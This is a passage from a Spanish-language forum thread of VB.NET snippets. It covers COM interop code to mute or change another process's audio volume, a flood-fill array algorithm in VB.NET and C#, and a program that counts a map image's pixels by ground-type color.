  311. #Region " IAudioSessionManager2 "
  312.  
  313.        ''' <summary>
  314.        ''' Enables an application to manage submixes for the audio device.
  315.        ''' </summary>
  316.        ''' <remarks>
  317.        ''' <see href="https://docs.microsoft.com/en-us/windows/desktop/api/audiopolicy/nn-audiopolicy-iaudiosessionmanager2"/>
  318.        ''' </remarks>
  319.        <ComImport>
  320.        <InterfaceType(ComInterfaceType.InterfaceIsIUnknown)>
  321.        <Guid("77AA99A0-1BD6-484F-8BC7-2C654C9A9B6F")>
  322.        Public Interface IAudioSessionManager2
  323.  
  324.            <EditorBrowsable(EditorBrowsableState.Never)>
  325.            <PreserveSig>
  326.            Function NotImplemented1() As Integer
  327.  
  328.            <EditorBrowsable(EditorBrowsableState.Never)>
  329.            <PreserveSig>
  330.            Function NotImplemented2() As Integer
  331.  
  332.            <PreserveSig>
  333.            Function GetSessionEnumerator(<Out> <MarshalAs(UnmanagedType.Interface)> ByRef refSessionEnum As IAudioSessionEnumerator) As Integer
  334.  
  335.            <EditorBrowsable(EditorBrowsableState.Never)>
  336.            <PreserveSig>
  337.            Function NotImplemented3() As Integer
  338.  
  339.            <EditorBrowsable(EditorBrowsableState.Never)>
  340.            <PreserveSig>
  341.            Function NotImplemented4() As Integer
  342.  
  343.            <EditorBrowsable(EditorBrowsableState.Never)>
  344.            <PreserveSig>
  345.            Function NotImplemented5() As Integer
  346.  
  347.            <EditorBrowsable(EditorBrowsableState.Never)>
  348.            <PreserveSig>
  349.            Function NotImplemented6() As Integer
  350.  
  351.        End Interface
  352.  
  353. #End Region
  354.  
  355. #Region " ISimpleAudioVolume "
  356.  
  357.        ''' <summary>
  358.        ''' Enables a client to control the master volume level of an audio session.
  359.        ''' </summary>
  360.        ''' <remarks>
  361.        ''' <see href="https://docs.microsoft.com/en-us/windows/desktop/api/audioclient/nn-audioclient-isimpleaudiovolume"/>
  362.        ''' </remarks>
  363.        <ComImport>
  364.        <InterfaceType(ComInterfaceType.InterfaceIsIUnknown)>
  365.        <Guid("87CE5498-68D6-44E5-9215-6DA47EF883D8")>
  366.        Public Interface ISimpleAudioVolume
  367.  
  368.            <PreserveSig>
  369.            Function SetMasterVolume(<[In]> <MarshalAs(UnmanagedType.R4)> ByVal levelNormalization As Single,
  370.                                 <[In]> <MarshalAs(UnmanagedType.LPStruct)> ByVal eventContext As Guid) As Integer
  371.  
  372.            <PreserveSig>
  373.            Function GetMasterVolume(<Out> <MarshalAs(UnmanagedType.R4)> ByRef refLevelNormalization As Single) As Integer
  374.  
  375.            <PreserveSig>
  376.            Function SetMute(<[In]> <MarshalAs(UnmanagedType.Bool)> ByVal isMuted As Boolean,
  377.                         <[In]> <MarshalAs(UnmanagedType.LPStruct)> ByVal eventContext As Guid) As Integer
  378.  
  379.            <PreserveSig>
  380.            Function GetMute(<Out> <MarshalAs(UnmanagedType.Bool)> ByRef refIsMuted As Boolean) As Integer
  381.  
  382.        End Interface
  383.  
  384. #End Region
  385.  
  386.    End Namespace
  387.  
  388. #End Region
  389.  
  390. #Region " Inter-process Communication "
  391.  
  392.    Namespace IPC
  393.  
  394.        ''' ----------------------------------------------------------------------------------------------------
  395.        ''' <summary>
  396.        ''' Contains audio related utilities to apply on external processes.
  397.        ''' </summary>
  398.        ''' ----------------------------------------------------------------------------------------------------
  399.        Public NotInheritable Class AudioUtil
  400.  
  401. #Region " Constructors "
  402.  
  403.            ''' ----------------------------------------------------------------------------------------------------
  404.            ''' <summary>
  405.            ''' Prevents a default instance of the <see cref="AudioUtil"/> class from being created.
  406.            ''' </summary>
  407.            ''' ----------------------------------------------------------------------------------------------------
  408.            <DebuggerNonUserCode>
  409.            Private Sub New()
  410.            End Sub
  411.  
  412. #End Region
  413.  
  414. #Region " Public Methods "
  415.  
  416.            ''' ----------------------------------------------------------------------------------------------------
  417.            ''' <summary>
  418.            ''' Mute the audio volume of the specified process.
  419.            ''' </summary>
  420.            ''' ----------------------------------------------------------------------------------------------------
  421.            ''' <param name="pr">
  422.            ''' The <see cref="Process"/>.
  423.            ''' </param>
  424.            ''' ----------------------------------------------------------------------------------------------------
  425.            Public Shared Sub MuteApplication(ByVal pr As Process)
  426.  
  427.                Dim volume As ISimpleAudioVolume = AudioUtil.GetVolumeObject(pr)
  428.                If (volume IsNot Nothing) Then
  429.                    Dim guid As Guid = Guid.Empty
  430.                    volume.SetMute(True, guid)
  431.                End If
  432.  
  433.            End Sub
  434.  
  435.            ''' ----------------------------------------------------------------------------------------------------
  436.            ''' <summary>
  437.            ''' Unmute the audio volume of the specified process.
  438.            ''' </summary>
  439.            ''' ----------------------------------------------------------------------------------------------------
  440.            ''' <param name="pr">
  441.            ''' The <see cref="Process"/>.
  442.            ''' </param>
  443.            ''' ----------------------------------------------------------------------------------------------------
  444.            Public Shared Sub UnmuteApplication(ByVal pr As Process)
  445.  
  446.                Dim volume As ISimpleAudioVolume = AudioUtil.GetVolumeObject(pr)
  447.                If (volume IsNot Nothing) Then
  448.                    Dim guid As Guid = Guid.Empty
  449.                    volume.SetMute(False, guid)
  450.                End If
  451.  
  452.            End Sub
  453.  
  454.            ''' ----------------------------------------------------------------------------------------------------
  455.            ''' <summary>
  456.            ''' Gets a value that determine whether the audio volume of the specified application is muted.
  457.            ''' </summary>
  458.            ''' ----------------------------------------------------------------------------------------------------
  459.            ''' <param name="pr">
  460.            ''' The <see cref="Process"/>.
  461.            ''' </param>
  462.            ''' ----------------------------------------------------------------------------------------------------
  463.            ''' <returns>
  464.            ''' Returns <see langword="True"/> if the application is muted, <see langword="False"/> otherwise.
  465.            ''' </returns>
  466.            ''' ----------------------------------------------------------------------------------------------------
  467.            Public Shared Function IsApplicationMuted(ByVal pr As Process) As Boolean
  468.  
  469.                Dim volume As ISimpleAudioVolume = AudioUtil.GetVolumeObject(pr)
  470.                If (volume IsNot Nothing) Then
  471.                    Dim isMuted As Boolean
  472.                    volume.GetMute(isMuted)
  473.                    Return isMuted
  474.                End If
  475.  
  476.                Return False
  477.  
  478.            End Function
  479.  
  480.            ''' ----------------------------------------------------------------------------------------------------
  481.            ''' <summary>
  482.            ''' Gets the audio volume level of the specified process.
  483.            ''' </summary>
  484.            ''' ----------------------------------------------------------------------------------------------------
  485.            ''' <param name="pr">
  486.            ''' The <see cref="Process"/>.
  487.            ''' </param>
  488.            ''' ----------------------------------------------------------------------------------------------------
  489.            ''' <returns>
  490.            ''' The audio volume, expressed in the range between 0 and 100.
  491.            ''' </returns>
  492.            ''' ----------------------------------------------------------------------------------------------------
  493.            <DebuggerStepThrough>
  494.            Public Shared Function GetApplicationVolume(ByVal pr As Process) As Integer
  495.  
  496.                Dim volume As ISimpleAudioVolume = AudioUtil.GetVolumeObject(pr)
  497.                If (volume IsNot Nothing) Then
  498.                    Dim levelNormalization As Single = Nothing
  499.                    volume.GetMasterVolume(levelNormalization)
  500.                    Return CInt(levelNormalization * 100)
  501.                End If
  502.  
  503.                Return 100
  504.  
  505.            End Function
  506.  
  507.            ''' ----------------------------------------------------------------------------------------------------
  508.            ''' <summary>
  509.            ''' Sets the audio volume level for the specified process.
  510.            ''' </summary>
  511.            ''' ----------------------------------------------------------------------------------------------------
  512.            ''' <param name="pr">
  513.            ''' The <see cref="Process"/>.
  514.            ''' </param>
  515.            '''
  516.            ''' <param name="volumeLevel">
  517.            ''' The new volume level, expressed in the range between 0 and 100.
  518.            ''' </param>
  519.            ''' ----------------------------------------------------------------------------------------------------
  520.            <DebuggerStepThrough>
  521.            Public Shared Sub SetApplicationVolume(ByVal pr As Process, ByVal volumeLevel As Integer)
  522.  
  523.                If (volumeLevel < 0) OrElse (volumeLevel > 100) Then
  524.                    Throw New ArgumentOutOfRangeException(paramName:=NameOf(volumeLevel),
  525.                                                      actualValue:=volumeLevel,
  526.                                                      message:=String.Format(CultureInfo.CurrentCulture,
  527.                                                               "A value of '{0}' is not valid for '{1}'. '{1}' must be between 0 and 100.",
  528.                                                               volumeLevel, NameOf(volumeLevel)))
  529.                End If
  530.  
  531.                Dim volume As ISimpleAudioVolume = AudioUtil.GetVolumeObject(pr)
  532.                If (volume IsNot Nothing) Then
  533.                    Dim guid As Guid = Guid.Empty
  534.                    volume.SetMasterVolume((volumeLevel / 100.0F), guid)
  535.                End If
  536.  
  537.            End Sub
  538.  
  539. #End Region
  540.  
  541. #Region " Private Methods "
  542.  
  543.            ''' ----------------------------------------------------------------------------------------------------
  544.            ''' <summary>
  545.            ''' Enumerate all the <see cref="IAudioSessionControl2"/> of the default (<see cref="IMMDevice"/>) audio device.
  546.            ''' </summary>
  547.            ''' ----------------------------------------------------------------------------------------------------
  548.            ''' <remarks>
  549.            ''' Credits to @Simon Mourier: <see href="https://stackoverflow.com/a/14322736/1248295"/>
  550.            ''' </remarks>
  551.            ''' ----------------------------------------------------------------------------------------------------
  552.            ''' <returns>
  553.            ''' The resulting <see cref="IEnumerable(Of IAudioSessionControl2)"/>.
  554.            ''' </returns>
  555.            ''' ----------------------------------------------------------------------------------------------------
  556.            <DebuggerStepperBoundary>
  557.            Private Shared Iterator Function EnumerateAudioSessionControls() As IEnumerable(Of IAudioSessionControl2)
  558.  
  559.                ' Get the (1st render + multimedia) aodio device.
  560.                Dim deviceEnumerator As IMMDeviceEnumerator = DirectCast(New MMDeviceEnumerator(), IMMDeviceEnumerator)
  561.                Dim device As IMMDevice = Nothing
  562.                deviceEnumerator.GetDefaultAudioEndpoint(EDataFlow.Render, ERole.Multimedia, device)
  563.  
  564.                ' Activate the session manager.
  565.                Dim IID_IAudioSessionManager2 As Guid = GetType(IAudioSessionManager2).GUID
  566.                Dim obj As Object = Nothing
  567.                device.Activate(IID_IAudioSessionManager2, 0, IntPtr.Zero, obj)
  568.                Dim manager As IAudioSessionManager2 = DirectCast(obj, IAudioSessionManager2)
  569.  
  570.                ' Enumerate sessions for on this device.
  571.                Dim sessionEnumerator As IAudioSessionEnumerator = Nothing
  572.                manager.GetSessionEnumerator(sessionEnumerator)
  573.                Dim sessionCount As Integer
  574.                sessionEnumerator.GetCount(sessionCount)
  575.  
  576.                For i As Integer = 0 To (sessionCount - 1)
  577.                    Dim ctl As IAudioSessionControl = Nothing
  578.                    Dim ctl2 As IAudioSessionControl2
  579.                    sessionEnumerator.GetSession(i, ctl)
  580.                    ctl2 = DirectCast(ctl, IAudioSessionControl2)
  581.                    Yield ctl2
  582.                    Marshal.ReleaseComObject(ctl2)
  583.                    Marshal.ReleaseComObject(ctl)
  584.                Next i
  585.  
  586.                Marshal.ReleaseComObject(sessionEnumerator)
  587.                Marshal.ReleaseComObject(manager)
  588.                Marshal.ReleaseComObject(device)
  589.                Marshal.ReleaseComObject(deviceEnumerator)
  590.            End Function
  591.  
  592.            ''' ----------------------------------------------------------------------------------------------------
  593.            ''' <summary>
  594.            ''' Searchs and returns the corresponding <see cref="ISimpleAudioVolume"/> for the specified <see cref="Process"/>.
  595.            ''' </summary>
  596.            ''' ----------------------------------------------------------------------------------------------------
  597.            ''' <remarks>
  598.            ''' Credits to @Simon Mourier: <see href="https://stackoverflow.com/a/14322736/1248295"/>
  599.            ''' </remarks>
  600.            ''' ----------------------------------------------------------------------------------------------------
  601.            ''' <param name="pr">
  602.            ''' The <see cref="Process"/>.
  603.            ''' </param>
  604.            ''' ----------------------------------------------------------------------------------------------------
  605.            ''' <returns>
  606.            ''' The resulting <see cref="ISimpleAudioVolume"/>,
  607.            ''' or <see langword="Nothing"/> if a <see cref="ISimpleAudioVolume"/> is not found for the specified process.
  608.            ''' </returns>
  609.            ''' ----------------------------------------------------------------------------------------------------
  610.            <DebuggerStepperBoundary>
  611.            Private Shared Function GetVolumeObject(ByVal pr As Process) As ISimpleAudioVolume
  612.  
  613.                For Each ctl As IAudioSessionControl2 In AudioUtil.EnumerateAudioSessionControls()
  614.                    Dim pId As UInteger
  615.                    ctl.GetProcessId(pId)
  616.  
  617.                    If (pId = pr.Id) Then
  618.                        Return DirectCast(ctl, ISimpleAudioVolume)
  619.                    End If
  620.                Next ctl
  621.  
  622.                Return Nothing
  623.  
  624.            End Function
  625.  
  626. #End Region
  627.  
  628.        End Class
  629.  
  630.    End Namespace
  631.  
  632. #End Region
  633.  
  634. End Namespace
  635.  
  636. #End Region

Ejemplos de uso:

Código
  1. Imports ElektroKit.Interop.IPC
  2. Imports System.Linq

Código
  1. ' Get the process we want to modify.
  2. ' Note the process must have an audio mixer available to be able mute it and/or to modify its volume level.
  3. ' In other words, the process must have an audio signal enabled, like for example a videogame or a music player, or any other process with an audio output.
  4. Dim pr As Process = Process.GetProcessesByName("process name").SingleOrDefault()

Código
  1. ' ----------------------- '
  2. ' GET OR SET VOLUME LEVEL '
  3. ' ----------------------- '
  4.  
  5. Dim volumeLevel As Integer ' resulting value of this variable will be in range of 0% to 100%.
  6.  
  7. ' Get current process volume level.
  8. volumeLevel = AudioUtil.GetApplicationVolume(pr)
  9. Console.WriteLine(String.Format("Current volume level: {0}%", volumeLevel))
  10.  
  11. ' Set process volume level to a new value.
  12. AudioUtil.SetApplicationVolume(pr, 50) ' 50%
  13. volumeLevel = AudioUtil.GetApplicationVolume(pr)
  14. Console.WriteLine(String.Format("New volume level: {0}%", volumeLevel))

Código
  1. ' ------------------------ '
  2. ' MUTE OR UNMUTE A PROCESS '
  3. ' ------------------------ '
  4.  
  5. Dim isMuted As Boolean
  6.  
  7. ' Mute the aplication.
  8. AudioUtil.MuteApplication(pr)
  9. isMuted = AudioUtil.IsApplicationMuted(pr)
  10. Console.WriteLine(String.Format("Is appliaction properly muted: {0}", isMuted))
  11.  
  12. ' Mute the aplication.
  13. AudioUtil.UnmuteApplication(pr)
  14. isMuted = AudioUtil.IsApplicationMuted(pr)
  15. Console.WriteLine(String.Format("Is appliaction properly unmuted?: {0}", Not isMuted))

Eso es todo.


Título: Re: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
Publicado por: z3nth10n en 18 Octubre 2018, 09:28 am
Como rellenar un array siguiendo el algoritmo Flood Fill usando HashSet

https://es.wikipedia.org/wiki/Algoritmo_de_relleno_por_difusi%C3%B3n

Código
  1. Imports System.Collections.Generic
  2. Imports System.Linq
  3. Imports System.Runtime.CompilerServices
  4. Imports System.Runtime.InteropServices
  5.  
  6. Module F
  7.    <Extension()>
  8.    Sub FloodFill(Of T)(ByVal source As T(), ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal target As T, ByVal replacement As T)
  9.        Dim i As Integer = 0
  10.        FloodFill(source, x, y, width, height, target, replacement, i)
  11.    End Sub
  12.  
  13.    <Extension()>
  14.    Sub FloodFill(Of T)(ByVal source As T(), ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal target As T, ByVal replacement As T, <Out> ByRef i As Integer)
  15.        i = 0
  16.        Dim queue As HashSet(Of Integer) = New HashSet(Of Integer)()
  17.        queue.Add(Pn(x, y, width))
  18.  
  19.        While queue.Count > 0
  20.            Dim _i As Integer = queue.First(), _x As Integer = _i Mod width, _y As Integer = _i / width
  21.            queue.Remove(_i)
  22.            If source(_i).Equals(target) Then source(_i) = replacement
  23.  
  24.            For offsetX As Integer = -1 To 2 - 1
  25.  
  26.                For offsetY As Integer = -1 To 2 - 1
  27.                    If offsetX = 0 AndAlso offsetY = 0 OrElse offsetX = offsetY OrElse offsetX = -offsetY OrElse -offsetX = offsetY Then Continue For
  28.                    Dim targetIndex As Integer = Pn(_x + offsetX, _y + offsetY, width)
  29.                    Dim _tx As Integer = targetIndex Mod width, _ty As Integer = targetIndex / width
  30.                    If _tx < 0 OrElse _ty < 0 OrElse _tx >= width OrElse _ty >= height Then Continue For
  31.  
  32.                    If Not queue.Contains(targetIndex) AndAlso source(targetIndex).Equals(target) Then
  33.                        queue.Add(targetIndex)
  34.                        i += 1
  35.                    End If
  36.                Next
  37.            Next
  38.        End While
  39.    End Sub
  40.  
  41.    Function Pn(ByVal x As Integer, ByVal y As Integer, ByVal w As Integer) As Integer
  42.        Return x + (y * w)
  43.    End Function
  44. End Module

Código
  1. using System.Collections.Generic;
  2. using System.Linq;
  3.  
  4. public static class F
  5. {
  6.    /// <summary>
  7.           /// Floods the fill.
  8.           /// </summary>
  9.           /// <typeparam name="T"></typeparam>
  10.           /// <param name="source">The source.</param>
  11.           /// <param name="x">The x.</param>
  12.           /// <param name="y">The y.</param>
  13.           /// <param name="width">The width.</param>
  14.           /// <param name="height">The height.</param>
  15.           /// <param name="target">The target to replace.</param>
  16.           /// <param name="replacement">The replacement.</param>
  17.    public static void FloodFill<T>(this T[] source, int x, int y, int width, int height, T target, T replacement)
  18.    {
  19.        int i = 0;
  20.  
  21.        FloodFill(source, x, y, width, height, target, replacement, out i);
  22.    }
  23.  
  24.    /// <summary>
  25.           /// Floods the array following Flood Fill algorithm
  26.           /// </summary>
  27.           /// <typeparam name="T"></typeparam>
  28.           /// <param name="source">The source.</param>
  29.           /// <param name="x">The x.</param>
  30.           /// <param name="y">The y.</param>
  31.           /// <param name="width">The width.</param>
  32.           /// <param name="height">The height.</param>
  33.           /// <param name="target">The target to replace.</param>
  34.           /// <param name="replacement">The replacement.</param>
  35.           /// <param name="i">The iterations made (if you want to debug).</param>
  36.    public static void FloodFill<T>(this T[] source, int x, int y, int width, int height, T target, T replacement, out int i)
  37.    {
  38.        i = 0;
  39.  
  40.        // Queue of pixels to process. :silbar:
  41.        HashSet<int> queue = new HashSet<int>();
  42.  
  43.        queue.Add(Pn(x, y, width));
  44.  
  45.        while (queue.Count > 0)
  46.        {
  47.            int _i = queue.First(),
  48.              _x = _i % width,
  49.              _y = _i / width;
  50.  
  51.            queue.Remove(_i);
  52.  
  53.            if (source[_i].Equals(target))
  54.                source[_i] = replacement;
  55.  
  56.            for (int offsetX = -1; offsetX < 2; offsetX++)
  57.                for (int offsetY = -1; offsetY < 2; offsetY++)
  58.                {
  59.                    // do not check origin or diagonal neighbours
  60.                    if (offsetX == 0 && offsetY == 0 || offsetX == offsetY || offsetX == -offsetY || -offsetX == offsetY)
  61.                        continue;
  62.  
  63.                    int targetIndex = Pn(_x + offsetX, _y + offsetY, width);
  64.                    int _tx = targetIndex % width,
  65.                      _ty = targetIndex / width;
  66.  
  67.                    // skip out of bounds point
  68.                    if (_tx < 0 || _ty < 0 || _tx >= width || _ty >= height)
  69.                        continue;
  70.  
  71.                    if (!queue.Contains(targetIndex) && source[targetIndex].Equals(target))
  72.                    {
  73.                        queue.Add(targetIndex);
  74.                        ++i;
  75.                    }
  76.                }
  77.        }
  78.    }
  79.  
  80.    public static int Pn(int x, int y, int w)
  81.    {
  82.        return x + (y * w);
  83.    }
  84. }

EDIT: Añadidos using + función PN + codigo en VB.NET que para eso son los snippets de VB

Prueba de concepto: https://dotnetfiddle.net/ZacRiB

Un saludo.


Título: Re: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
Publicado por: z3nth10n en 18 Octubre 2018, 19:51 pm
Leer los pixeles de una imagen y contarlos siguiendo un diccionario estático de colores

Básicamente, la funcionalidad que tiene esto, es definir un diccionario estático de colores (con una enumeración donde se especifiquen los apartados que hay (si fuese necesario)), se itera todo pixel a pixel, y cada color se compara con la muestra sacando el porcentaje de similitud, si la similitud es del 90% o mayor se da por hecho que ese color pertenece a x enumeración del diccionario.

Para más INRI, le he añadido la utilidad de que se pueda leer desde Internet, lo que cambia si queremos leerlo desde el disco es que tenemos que llamar únicamente a System.IO.File.ReadAllBytes.

Aquí el codigo: https://github.com/z3nth10n/GTA-ColorCount/blob/master/CountColors/Program.cs

Nota: Tiene una versión compilada (para el que lo quiera probar).
Nota2: No está optimizado (memory leak & no se ha mirado si se puede optimizar desde el punto de vista de procesamiento de cpu), asi que, si se elige guardar puede llegar a ocupar 1GB en memoria (la imagen tiene 7000x5000, en bruto son unos 140MB (7000x5000x4 (ARGB)) en memoria.)

Codigo en VB.NET:

Código
  1. Imports System
  2. Imports System.Net
  3. Imports System.Drawing
  4. Imports System.Drawing.Imaging
  5. Imports System.Runtime.InteropServices
  6. Imports System.IO
  7. Imports System.Collections.Generic
  8. Imports System.Linq
  9. Imports Color = zenthion.Color
  10. Imports System.Diagnostics
  11. Imports System.Reflection
  12.  
  13. Public Enum GroundType
  14. Building
  15. Asphalt
  16. LightPavement
  17. Pavement
  18. Grass
  19. DryGrass
  20. Sand
  21. Dirt
  22. Mud
  23. Water
  24. Rails
  25. Tunnel
  26. BadCodingDark
  27. BadCodingLight
  28. BuildingLight
  29. End Enum
  30.  
  31. Public Enum OrderingType
  32. ByColor
  33. [ByVal]
  34. ByName
  35. End Enum
  36.  
  37. Public Class Program
  38. Public Shared colorToCompare As Color = Color.white
  39. Public Shared orderingType As OrderingType = OrderingType.ByVal
  40. Public Shared isDarkened As Boolean = False, isPosterized As Boolean = False, isOrdered As Boolean = True, saveTexture As Boolean = False
  41.  
  42. Private Shared ReadOnly Property SavingPath() As String
  43. Get
  44. Return Path.Combine(Path.GetDirectoryName(System.Reflection.Assembly.GetExecutingAssembly().Location), "texture.png")
  45. End Get
  46. End Property
  47.  
  48. Public Shared Sub Main()
  49. Dim imageBytes() As Byte = Nothing
  50.  
  51. ' OriginalTexture: http://i.imgur.com/g9fRYbm.png
  52. ' TextureColor: https://image.ibb.co/dP3Nvf/texture-Color.png
  53.  
  54. Dim url As String = "https://image.ibb.co/dP3Nvf/texture-Color.png"
  55.  
  56. Using webClient = New WebClient()
  57. imageBytes = webClient.DownloadData(url)
  58. End Using
  59.  
  60. Dim sw As Stopwatch = Stopwatch.StartNew()
  61.  
  62. isDarkened = url = "https://image.ibb.co/dP3Nvf/texture-Color.png"
  63.  
  64.  
  65. Dim colors As IEnumerable(Of Color) = Nothing
  66.  
  67. Dim bitmap As Bitmap = Nothing
  68. Dim dict = GetColorCount(bitmap, imageBytes, (If(isDarkened, F.DarkenedMapColors, F.mapColors)).Values.AsEnumerable(), colors, isPosterized)
  69.  
  70. Console.WriteLine(DebugDict(dict))
  71. Console.WriteLine("Num of colors: {0}", dict.Keys.Count)
  72.  
  73. If saveTexture Then
  74. colors.ToArray().SaveBitmap(7000, 5000, SavingPath)
  75. End If
  76.  
  77. bitmap.Dispose()
  78. sw.Stop()
  79.  
  80. Console.WriteLine("Ellapsed: {0} s", (sw.ElapsedMilliseconds / 1000F).ToString("F2"))
  81.  
  82. Console.Read()
  83. End Sub
  84.  
  85. Private Shared Function DebugDict(ByVal dict As Dictionary(Of Color, Integer)) As String
  86. Dim num = dict.Select(Function(x) New With {Key .Name = x.Key.GetGroundType(isPosterized), Key .Similarity = x.Key.ColorSimilaryPerc(colorToCompare), Key .Val = x.Value, Key .ColR = x.Key.r, Key .ColG = x.Key.g, Key .ColB = x.Key.b}).GroupBy(Function(x) x.Name).Select(Function(x) New With {Key .Name = x.Key, Key .Similarity = x.Average(Function(y) y.Similarity), Key .Val = x.Sum(Function(y) y.Val), Key .Col = New Color(CByte(x.Average(Function(y) y.ColR)), CByte(x.Average(Function(y) y.ColG)), CByte(x.Average(Function(y) y.ColB)))})
  87.  
  88. Dim num1 = num
  89.  
  90. If isOrdered Then
  91. num1 = If(orderingType = OrderingType.ByName, num.OrderBy(Function(x) x.Name), num.OrderByDescending(Function(x)If(orderingType = OrderingType.ByColor, x.Col.ColorSimilaryPerc(colorToCompare), x.Val)))
  92. End If
  93.  
  94. Dim num2 = num1.Select(Function(x) String.Format("[{2}] {0}: {1}", x.Name, x.Val.ToString("N0"), x.Similarity.ToString("F2")))
  95.  
  96. Return String.Join(Environment.NewLine, num2)
  97. End Function
  98.  
  99. Public Shared Function GetColorCount(ByRef image As Bitmap, ByVal arr() As Byte, ByVal colors As IEnumerable(Of Color), <System.Runtime.InteropServices.Out()> ByRef imageColors As IEnumerable(Of Color), Optional ByVal isPosterized As Boolean = False) As Dictionary(Of Color, Integer)
  100. Dim count As New Dictionary(Of Color, Integer)()
  101.  
  102. Using stream As Stream = New MemoryStream(arr)
  103. image = CType(System.Drawing.Image.FromStream(stream), Bitmap)
  104. End Using
  105.  
  106. 'Color[]
  107. imageColors = image.ToColor() '.ToArray();
  108.  
  109. 'Parallel.ForEach(Partitioner.Create(imageColors, true).GetOrderableDynamicPartitions(), colorItem =>
  110. For Each colorItem As Color In imageColors
  111. ' .Value
  112. Dim thresholedColor As Color = If((Not isPosterized), colorItem.GetSimilarColor(colors), colorItem) '.RoundColorOff(65);
  113.  
  114. If Not count.ContainsKey(thresholedColor) Then
  115. count.Add(thresholedColor, 1)
  116. Else
  117. count(thresholedColor) += 1
  118. End If
  119. Next colorItem
  120.  
  121. Dim posterizedColors As Dictionary(Of Color, Integer) = If(isPosterized, New Dictionary(Of Color, Integer)(), count)
  122.  
  123. If isPosterized Then
  124. For Each kv In count
  125. Dim pColor As Color = kv.Key.Posterize(16)
  126.  
  127. If Not posterizedColors.ContainsKey(pColor) Then
  128. posterizedColors.Add(pColor, kv.Value)
  129. Else
  130. posterizedColors(pColor) += kv.Value
  131. End If
  132. Next kv
  133. End If
  134.  
  135. Return posterizedColors
  136. End Function
  137. End Class
  138.  
  139. Public Module F
  140. Public mapColors As New Dictionary(Of GroundType, Color)() From {
  141. { GroundType.Building, Color.white },
  142. { GroundType.Asphalt, Color.black },
  143. { GroundType.LightPavement, New Color(206, 207, 206, 255) },
  144. { GroundType.Pavement, New Color(156, 154, 156, 255) },
  145. { GroundType.Grass, New Color(57, 107, 41, 255) },
  146. { GroundType.DryGrass, New Color(123, 148, 57, 255) },
  147. { GroundType.Sand, New Color(231, 190, 107, 255) },
  148. { GroundType.Dirt, New Color(156, 134, 115, 255) },
  149. { GroundType.Mud, New Color(123, 101, 90, 255) },
  150. { GroundType.Water, New Color(115, 138, 173, 255) },
  151. { GroundType.Rails, New Color(74, 4, 0, 255) },
  152. { GroundType.Tunnel, New Color(107, 105, 99, 255) },
  153. { GroundType.BadCodingDark, New Color(127, 0, 0, 255) },
  154. { GroundType.BadCodingLight, New Color(255, 127, 127, 255) }
  155. }
  156.  
  157. Private _darkened As Dictionary(Of GroundType, Color)
  158.  
  159. Public ReadOnly Property DarkenedMapColors() As Dictionary(Of GroundType, Color)
  160. Get
  161. If _darkened Is Nothing Then
  162. _darkened = GetDarkenedMapColors()
  163. End If
  164.  
  165. Return _darkened
  166. End Get
  167. End Property
  168.  
  169. Private BmpStride As Integer = 0
  170.  
  171. Private Function GetDarkenedMapColors() As Dictionary(Of GroundType, Color)
  172. ' We will take the last 2 elements
  173.  
  174. Dim last2 = mapColors.Skip(mapColors.Count - 2)
  175.  
  176. Dim exceptLast2 = mapColors.Take(mapColors.Count - 2)
  177.  
  178. Dim dict As New Dictionary(Of GroundType, Color)()
  179.  
  180. dict.AddRange(exceptLast2.Select(Function(x) New KeyValuePair(Of GroundType, Color)(x.Key, x.Value.Lerp(Color.black,.5F))))
  181.  
  182. dict.Add(GroundType.BuildingLight, Color.white)
  183.  
  184. dict.AddRange(last2)
  185.  
  186. Return dict
  187. End Function
  188.  
  189. <System.Runtime.CompilerServices.Extension> _
  190. Public Sub AddRange(Of TKey, TValue)(ByVal dic As Dictionary(Of TKey, TValue), ByVal dicToAdd As IEnumerable(Of KeyValuePair(Of TKey, TValue)))
  191. dicToAdd.ForEach(Sub(x) dic.Add(x.Key, x.Value))
  192. End Sub
  193.  
  194. <System.Runtime.CompilerServices.Extension> _
  195. Public Sub ForEach(Of T)(ByVal source As IEnumerable(Of T), ByVal action As Action(Of T))
  196. For Each item In source
  197. action(item)
  198. Next item
  199. End Sub
  200.  
  201. 'INSTANT VB NOTE: The parameter color was renamed since it may cause conflicts with calls to static members of the user-defined type with this name:
  202. <System.Runtime.CompilerServices.Extension> _
  203. Public Function Posterize(ByVal color_Renamed As Color, ByVal level As Byte) As Color
  204. Dim r As Byte = 0, g As Byte = 0, b As Byte = 0
  205.  
  206. Dim value As Double = color_Renamed.r \ 255.0
  207. value *= level - 1
  208. value = Math.Round(value)
  209. value /= level - 1
  210.  
  211. r = CByte(value * 255)
  212. value = color_Renamed.g \ 255.0
  213. value *= level - 1
  214. value = Math.Round(value)
  215. value /= level - 1
  216.  
  217. g = CByte(value * 255)
  218. value = color_Renamed.b \ 255.0
  219. value *= level - 1
  220. value = Math.Round(value)
  221. value /= level - 1
  222.  
  223. b = CByte(value * 255)
  224.  
  225. Return New Color(r, g, b, 255)
  226. End Function
  227.  
  228. <System.Runtime.CompilerServices.Extension> _
  229. Public Function GetGroundType(ByVal c As Color, ByVal isPosterized As Boolean) As String
  230. Dim mapToUse = If(Program.isDarkened, DarkenedMapColors, mapColors)
  231. Dim kvColor As KeyValuePair(Of GroundType, Color) = mapToUse.FirstOrDefault(Function(x)If(isPosterized, x.Value.ColorSimilaryPerc(c) >.9F, x.Value = c))
  232.  
  233. If Not kvColor.Equals(Nothing) Then
  234. Return kvColor.Key.ToString()
  235. Else
  236. Return c.ToString()
  237. End If
  238. End Function
  239.  
  240. <System.Runtime.CompilerServices.Extension> _
  241. Public Function GetSimilarColor(ByVal c1 As Color, ByVal cs As IEnumerable(Of Color)) As Color
  242. Return cs.OrderBy(Function(x) x.ColorThreshold(c1)).FirstOrDefault()
  243. End Function
  244.  
  245. <System.Runtime.CompilerServices.Extension> _
  246. Public Function ColorThreshold(ByVal c1 As Color, ByVal c2 As Color) As Integer
  247. Return (Math.Abs(c1.r - c2.r) + Math.Abs(c1.g - c2.g) + Math.Abs(c1.b - c2.b))
  248. End Function
  249.  
  250. <System.Runtime.CompilerServices.Extension> _
  251. Public Function ColorSimilaryPerc(ByVal a As Color, ByVal b As Color) As Single
  252. Return 1F - (a.ColorThreshold(b) / (256F * 3))
  253. End Function
  254.  
  255. <System.Runtime.CompilerServices.Extension> _
  256. Public Function RoundColorOff(ByVal c As Color, Optional ByVal roundTo As Byte = 5) As Color
